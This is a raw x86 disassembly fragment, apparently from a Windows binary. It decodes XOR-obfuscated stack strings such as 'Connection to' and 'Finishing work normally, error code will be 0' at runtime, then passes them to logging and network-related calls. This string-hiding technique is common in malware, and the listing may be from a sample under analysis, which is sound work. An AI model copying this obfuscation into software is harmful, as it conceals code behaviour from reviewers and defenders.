mov dword [ebp - 0x618], 0x737c
mov eax, dword [ebp - 0x618]
xor eax, 0x52
mov word [ebp - 0x614], ax
mov eax, dword [ebp - 0x618]
inc eax
xor eax, 0x65
mov word [ebp - 0x612], ax
mov eax, dword [ebp - 0x618]
add eax, 2
xor eax, 0x73
mov word [ebp - 0x610], ax
mov eax, dword [ebp - 0x618]
add eax, 3
xor eax, 0x75
mov word [ebp - 0x60e], ax
mov eax, dword [ebp - 0x618]
add eax, 4
xor eax, 0x6c
mov word [ebp - 0x60c], ax
mov eax, dword [ebp - 0x618]
add eax, 5
xor eax, 0x74
mov word [ebp - 0x60a], ax
mov eax, dword [ebp - 0x618]
add eax, 6
xor eax, 0x20
mov word [ebp - 0x608], ax
mov eax, dword [ebp - 0x618]
add eax, 7
xor eax, 0x70
mov word [ebp - 0x606], ax
mov eax, dword [ebp - 0x618]
add eax, 8
xor eax, 0x61
mov word [ebp - 0x604], ax
mov eax, dword [ebp - 0x618]
add eax, 9
xor eax, 0x74
mov word [ebp - 0x602], ax
mov eax, dword [ebp - 0x618]
add eax, 0xa
xor eax, 0x68
mov word [ebp - 0x600], ax
mov eax, dword [ebp - 0x618]
add eax, 0xb
xor eax, 0x20
mov word [ebp - 0x5fe], ax
mov eax, dword [ebp - 0x618]
add eax, 0xc
xor eax, 0x69
mov word [ebp - 0x5fc], ax
mov eax, dword [ebp - 0x618]
add eax, 0xd
xor eax, 0x73
mov word [ebp - 0x5fa], ax
xor eax, eax
mov word [ebp - 0x5f8], ax
xor edx, edx
mov ax, word [ebp - 0x614]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x614]
mov ecx, dword [ebp - 0x618]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x614], cx
inc edx
cmp edx, 0xe
jb 0x42e210
xor eax, eax
lea ecx, [ebp - 0x10c0]
mov word [ebp - 0x5f8], ax
lea eax, [ebp - 0x614]
push 0x4b99bc
mov dword [ebp - 0x1050], eax
call fcn.00416d00
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x1114], 0
lea eax, [ebp - 0x778]
mov dword [ebp - 0x1110], 0
movq xmm0, qword [ebp - 0x1114]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
lea eax, [ebp - 0x1050]
push eax
push dword [ebp - 0x10bc]
mov dword [ebp - 0x110c], edx
push dword [ebp - 0x10c0]
push 2
sub esp, 0xc
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.0040ac00
call fcn.00473e53
mov dword [ebp - 0x9e0], 0
mov dword [ebp - 0x9d0], 0
mov dword [ebp - 0x9cc], 0xf
mov byte [ebp - 0x9e0], 0
push eax
lea eax, [ebp - 0x9e0]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x1168]
push eax
lea eax, [ebp - 0xa34]
push eax
lea eax, [ebp - 0xff4]
push eax
lea eax, [ebp - 0x778]
push eax
lea ecx, [ebp - 0xd40]
call fcn.00452bf0
lea ecx, [ebp - 0x9e0]
mov byte [ebp - 4], 0x4b
call fcn.00418ba0
lea ecx, [ebp - 0xd40]
call fcn.00459820
lea ecx, [ebp - 0xd40]
call fcn.00419160
lea ecx, [ebp - 0x778]
call fcn.00418bf0
mov edi, 0x2c
jmp 0x42e63a
mov eax, 0x83
mov edx, 0x7f
mov word [ebp - 0x7f8], ax
mov ecx, 0x80
mov eax, 0x6d
mov word [ebp - 0x7f6], ax
mov eax, 0x7a
mov word [ebp - 0x7f4], dx
mov word [ebp - 0x7f2], di
mov word [ebp - 0x7f0], ax
mov word [ebp - 0x7ee], si
mov word [ebp - 0x7ec], cx
mov word [ebp - 0x7ea], di
mov edi, 0x70
mov word [ebp - 0x7e8], di
mov edi, 0x2c
mov word [ebp - 0x7e6], si
mov word [ebp - 0x7e4], ax
mov eax, 0x71
mov word [ebp - 0x7e2], ax
mov word [ebp - 0x7e0], di
mov edi, 0x70
mov word [ebp - 0x7de], di
mov edi, 0x81
mov word [ebp - 0x7dc], di
mov edi, 0x2c
mov word [ebp - 0x7da], ax
mov word [ebp - 0x7d8], di
mov word [ebp - 0x7d6], cx
mov ecx, 0x79
mov word [ebp - 0x7d4], si
mov word [ebp - 0x7d2], di
mov word [ebp - 0x7d0], dx
mov word [ebp - 0x7ce], si
mov word [ebp - 0x7cc], cx
mov word [ebp - 0x7ca], ax
mov word [ebp - 0x7c8], di
mov word [ebp - 0x7c6], ax
mov eax, 0x7e
mov word [ebp - 0x7c4], ax
mov word [ebp - 0x7c2], ax
mov word [ebp - 0x7c0], si
mov word [ebp - 0x7be], ax
xor eax, eax
mov word [ebp - 0x7bc], dx
xor ecx, ecx
mov word [ebp - 0x7ba], ax
mov ax, word [ebp - 0x7f8]
nop dword [eax]
mov ax, word [ebp + ecx*2 - 0x7f8]
sub ax, 0xc
mov word [ebp + ecx*2 - 0x7f8], ax
inc ecx
cmp ecx, 0x1f
jb 0x42e480
lea eax, [ebp - 0x7f8]
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0x390], 0x5795
mov eax, dword [ebp - 0x390]
xor eax, 0x43
mov word [ebp - 0x38c], ax
mov eax, dword [ebp - 0x390]
inc eax
xor eax, 0x6f
mov word [ebp - 0x38a], ax
mov eax, dword [ebp - 0x390]
add eax, 2
xor eax, 0x6e
mov word [ebp - 0x388], ax
mov eax, dword [ebp - 0x390]
add eax, 3
xor eax, 0x6e
mov word [ebp - 0x386], ax
mov eax, dword [ebp - 0x390]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x384], ax
mov eax, dword [ebp - 0x390]
add eax, 5
xor eax, 0x63
mov word [ebp - 0x382], ax
mov eax, dword [ebp - 0x390]
add eax, 6
xor eax, 0x74
mov word [ebp - 0x380], ax
mov eax, dword [ebp - 0x390]
add eax, 7
xor eax, 0x69
mov word [ebp - 0x37e], ax
mov eax, dword [ebp - 0x390]
add eax, 8
xor eax, 0x6f
mov word [ebp - 0x37c], ax
mov eax, dword [ebp - 0x390]
add eax, 9
xor eax, 0x6e
mov word [ebp - 0x37a], ax
mov eax, dword [ebp - 0x390]
add eax, 0xa
xor eax, 0x20
mov word [ebp - 0x378], ax
mov eax, dword [ebp - 0x390]
add eax, 0xb
xor eax, 0x74
mov word [ebp - 0x376], ax
mov eax, dword [ebp - 0x390]
add eax, 0xc
xor eax, 0x6f
mov word [ebp - 0x374], ax
xor eax, eax
mov word [ebp - 0x372], ax
xor edx, edx
mov ax, word [ebp - 0x38c]
nop dword [eax]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x38c]
mov ecx, dword [ebp - 0x390]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x38c], cx
inc edx
cmp edx, 0xd
jb 0x42e5c0
xor eax, eax
lea ecx, [ebp - 0x10c8]
mov word [ebp - 0x372], ax
lea eax, [ebp - 0x38c]
push str.0_1_2
mov dword [ebp - 0x1034], eax
call fcn.00416d00
call fcn.00425d60
lea ecx, [ebp - 0x104c]
push ecx
push dword [ebp - 0xf0c]
lea ecx, [ebp - 0x1034]
push ecx
push dword [ebp - 0x10c4]
mov ecx, dword [eax + 0x114]
push dword [ebp - 0x10c8]
push 4
call fcn.00409c50
mov eax, dword [ebp - 0xf28]
test eax, eax
je 0x42e6fc
lea ecx, [ebp - 0xf28]
push ecx
push dword [ebp - 0xf24]
push eax
call fcn.00401f00
mov ecx, dword [ebp - 0xf20]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xf28]
add esp, 0xc
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xf28]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
call fcn.0041f8a0
inc dword [ebp - 0xf1c]
mov dword [ebp - 0xf28], 0
mov dword [ebp - 0xf24], 0
mov dword [ebp - 0xf20], 0
mov dword [ebp - 4], 0x37
jmp 0x42c262
mov dword [ebp - 4], 0x37
inc dword [ebp - 0xf1c]
jmp 0x42c262
lea ecx, [ebp - 0x70c]
mov byte [ebp - 4], 0x36
call fcn.00418bf0
add dword [ebp - 0xf10], 0x18
jmp 0x42bf80
lea ecx, [ebp - 0x121c]
call fcn.00419060
lea ecx, [ebp - 0x1228]
call fcn.00419060
lea ecx, [ebp - 0x1234]
call fcn.00419060
lea ecx, [ebp - 0xf84]
call fcn.00419060
lea ecx, [ebp - 0xfe8]
call fcn.00419060
lea ecx, [ebp - 0xf90]
mov byte [ebp - 4], 0x2f
call fcn.00419060
mov dword [ebp - 0xec], 0x13
mov eax, dword [ebp - 0xec]
xor al, 0x46
mov byte [ebp - 0xe8], al
mov eax, dword [ebp - 0xec]
inc al
xor al, 0x69
mov byte [ebp - 0xe7], al
mov eax, dword [ebp - 0xec]
add al, 2
xor al, 0x6e
mov byte [ebp - 0xe6], al
mov eax, dword [ebp - 0xec]
add al, 3
xor al, 0x69
mov byte [ebp - 0xe5], al
mov eax, dword [ebp - 0xec]
add al, 4
xor al, 0x73
mov byte [ebp - 0xe4], al
mov eax, dword [ebp - 0xec]
add al, 5
xor al, 0x68
mov byte [ebp - 0xe3], al
mov eax, dword [ebp - 0xec]
add al, 6
xor al, 0x69
mov byte [ebp - 0xe2], al
mov eax, dword [ebp - 0xec]
add al, 7
xor al, 0x6e
mov byte [ebp - 0xe1], al
mov eax, dword [ebp - 0xec]
add al, 8
xor al, 0x67
mov byte [ebp - 0xe0], al
mov eax, dword [ebp - 0xec]
add al, 9
xor al, 0x20
mov byte [ebp - 0xdf], al
mov eax, dword [ebp - 0xec]
add al, 0xa
xor al, 0x77
mov byte [ebp - 0xde], al
mov eax, dword [ebp - 0xec]
add al, 0xb
xor al, 0x6f
mov byte [ebp - 0xdd], al
mov eax, dword [ebp - 0xec]
add al, 0xc
xor al, 0x72
mov byte [ebp - 0xdc], al
mov eax, dword [ebp - 0xec]
add al, 0xd
xor al, 0x6b
mov byte [ebp - 0xdb], al
mov eax, dword [ebp - 0xec]
add al, 0xe
xor al, 0x20
mov byte [ebp - 0xda], al
mov eax, dword [ebp - 0xec]
add al, 0xf
xor al, 0x6e
mov byte [ebp - 0xd9], al
mov eax, dword [ebp - 0xec]
add al, 0x10
xor al, 0x6f
mov byte [ebp - 0xd8], al
mov eax, dword [ebp - 0xec]
add al, 0x11
xor al, 0x72
mov byte [ebp - 0xd7], al
mov eax, dword [ebp - 0xec]
add al, 0x12
xor al, 0x6d
mov byte [ebp - 0xd6], al
mov eax, dword [ebp - 0xec]
add al, 0x13
xor al, 0x61
mov byte [ebp - 0xd5], al
mov eax, dword [ebp - 0xec]
add al, 0x14
xor al, 0x6c
mov byte [ebp - 0xd4], al
mov eax, dword [ebp - 0xec]
add al, 0x15
xor al, 0x6c
mov byte [ebp - 0xd3], al
mov eax, dword [ebp - 0xec]
add al, 0x16
xor al, 0x79
mov byte [ebp - 0xd2], al
mov eax, dword [ebp - 0xec]
add al, 0x17
xor al, 0x2c
mov byte [ebp - 0xd1], al
mov eax, dword [ebp - 0xec]
add al, 0x18
xor al, 0x20
mov byte [ebp - 0xd0], al
mov eax, dword [ebp - 0xec]
add al, 0x19
xor al, 0x65
mov byte [ebp - 0xcf], al
mov eax, dword [ebp - 0xec]
add al, 0x1a
xor al, 0x72
mov byte [ebp - 0xce], al
mov eax, dword [ebp - 0xec]
add al, 0x1b
xor al, 0x72
mov byte [ebp - 0xcd], al
mov eax, dword [ebp - 0xec]
add al, 0x1c
xor al, 0x6f
mov byte [ebp - 0xcc], al
mov eax, dword [ebp - 0xec]
add al, 0x1d
xor al, 0x72
mov byte [ebp - 0xcb], al
mov eax, dword [ebp - 0xec]
add al, 0x1e
xor al, 0x20
mov byte [ebp - 0xca], al
mov eax, dword [ebp - 0xec]
add al, 0x1f
xor al, 0x63
mov byte [ebp - 0xc9], al
mov eax, dword [ebp - 0xec]
add al, 0x20
xor al, 0x6f
mov byte [ebp - 0xc8], al
mov eax, dword [ebp - 0xec]
add al, 0x21
xor al, 0x64
mov byte [ebp - 0xc7], al
mov eax, dword [ebp - 0xec]
add al, 0x22
xor al, 0x65
mov byte [ebp - 0xc6], al
mov eax, dword [ebp - 0xec]
add al, 0x23
xor al, 0x20
mov byte [ebp - 0xc5], al
mov eax, dword [ebp - 0xec]
add al, 0x24
xor al, 0x77
mov byte [ebp - 0xc4], al
mov eax, dword [ebp - 0xec]
add al, 0x25
xor al, 0x69
mov byte [ebp - 0xc3], al
mov eax, dword [ebp - 0xec]
add al, 0x26
xor al, 0x6c
mov byte [ebp - 0xc2], al
mov eax, dword [ebp - 0xec]
add al, 0x27
xor al, 0x6c
mov byte [ebp - 0xc1], al
mov eax, dword [ebp - 0xec]
add al, 0x28
xor al, 0x20
mov byte [ebp - 0xc0], al
mov eax, dword [ebp - 0xec]
add al, 0x29
xor al, 0x62
mov byte [ebp - 0xbf], al
mov eax, dword [ebp - 0xec]
add al, 0x2a
xor al, 0x65
mov byte [ebp - 0xbe], al
mov eax, dword [ebp - 0xec]
add al, 0x2b
xor al, 0x20
mov byte [ebp - 0xbd], al
mov eax, dword [ebp - 0xec]
add al, 0x2c
mov byte [ebp - 0xbb], 0
xor al, 0x30
xor edx, edx
mov byte [ebp - 0xbc], al
mov al, byte [ebp - 0xe8]
nop word [eax + eax]
mov al, byte [ebp + edx - 0xe8]
mov ecx, dword [ebp - 0xec]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0xe8], cl
inc edx
cmp edx, 0x2d
jb 0x42ea60
lea eax, [ebp - 0xe8]
mov byte [ebp - 0xbb], 0
mov dword [ebp - 0xf18], eax
call fcn.00425d60
lea ecx, [ebp - 0xf18]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
lea ecx, [ebp - 0x1120]
call fcn.00419060
lea ecx, [ebp - 0x1168]
call fcn.00419010
lea ecx, [ebp - 0xa64]
call fcn.00418ba0
lea ecx, [ebp - 0xff4]
call fcn.00419060
lea ecx, [ebp - 0xa34]
call fcn.00418ba0
lea ecx, [ebp - 0xf64]
call fcn.00419060
cmp dword [ebp - 0xf94], 0
jne 0x42ebf2
lea ecx, [ebp - 0xf70]
call fcn.00418d50
lea ecx, [ebp - 0x950]
call fcn.00418ba0
lea ecx, [ebp - 0x968]
call fcn.00418ba0
lea ecx, [ebp - 0x1000]
call fcn.00419010
lea ecx, [ebp - 0xa04]
call fcn.00419010
lea ecx, [ebp - 0xa1c]
call fcn.00418bf0
lea ecx, [ebp - 0xf38]
call fcn.00418d70
lea ecx, [ebp - 0x938]
call fcn.00418ba0
xor eax, eax
jmp 0x42ebc3
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x44]
xor ecx, ebp
call fcn.0048af00
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004745dd
push eax
call fcn.004745dd
call fcn.0048f71f
call fcn.00492fea
push 6
mov dword [ebp - 0xf94], 0
call fcn.0047460a
int3